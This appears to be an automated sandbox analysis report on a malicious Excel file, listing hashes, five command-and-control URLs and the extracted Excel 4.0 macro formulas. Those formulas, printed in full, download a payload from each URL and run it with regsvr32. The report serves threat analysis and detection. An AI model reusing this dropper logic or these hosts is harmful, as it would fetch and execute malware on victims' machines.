8b08d89a37b49f95f2b82de0ec052dad50b9067e05a2f1cb1e6d710fe9af54b1

General

Target

8b08d89a37b49f95f2b82de0ec052dad50b9067e05a2f1cb1e6d710fe9af54b1
Size

95KB
Sample

241119-xg2dnsvnar
MD5

e1754a927d0035c1d6c73cab587cc708
SHA1

6237755f8f4f2fd3b6c73a60f59a0efb7a592ccb
SHA256

8b08d89a37b49f95f2b82de0ec052dad50b9067e05a2f1cb1e6d710fe9af54b1
SHA512

1409ac8116dc1db33c84104c64ede30aa331bca4208305f0eea80bfff347acd889b663f5e1be0ea986e9b82ba0d3e4eca5259883991754971ab23f924cf39c8c
SSDEEP

1536:G6ghqXvo8v5MB5Dg8cVoioFh+fYFl69oXiZ5bcvJlqGiwIWx1BcVXzAyVh9:G9iv38DsVhonV69o2bchgGaWBcpAk9

Score

10^/10

discovery macro xlm

Rule

Excel 4.0 XLM Macro

C2

https://distribucionespariente.com/wp-includes/YHQ1W1R2iSznft2vO/

https://makspeedtech.com/cgi-bin/6BuOTbA/

https://newmainghantabazar.com/wp-includes/tyiPqbUMvMq79yMyM8E/

https://mbahauddin.com/v/2horjuyP/

https://cafedeltren.t1.curious.tech/v/oa9AwvFnbCZ59xoyBB/

Attributes

formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://distribucionespariente.com/wp-includes/YHQ1W1R2iSznft2vO/","..\wnu3.ocx",0,0) =IF('EFWFSFG'!D15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://makspeedtech.com/cgi-bin/6BuOTbA/","..\wnu3.ocx",0,0)) =IF('EFWFSFG'!D17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://newmainghantabazar.com/wp-includes/tyiPqbUMvMq79yMyM8E/","..\wnu3.ocx",0,0)) =IF('EFWFSFG'!D19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://mbahauddin.com/v/2horjuyP/","..\wnu3.ocx",0,0)) =IF('EFWFSFG'!D21<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://cafedeltren.t1.curious.tech/v/oa9AwvFnbCZ59xoyBB/","..\wnu3.ocx",0,0)) =IF('EFWFSFG'!D23<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\wnu3.ocx") =RETURN()

Language

xlm4.0

Source

URLs

xlm40.dropper

https://distribucionespariente.com/wp-includes/YHQ1W1R2iSznft2vO/

xlm40.dropper

https://makspeedtech.com/cgi-bin/6BuOTbA/

xlm40.dropper

https://newmainghantabazar.com/wp-includes/tyiPqbUMvMq79yMyM8E/

xlm40.dropper

https://mbahauddin.com/v/2horjuyP/

xlm40.dropper

https://cafedeltren.t1.curious.tech/v/oa9AwvFnbCZ59xoyBB/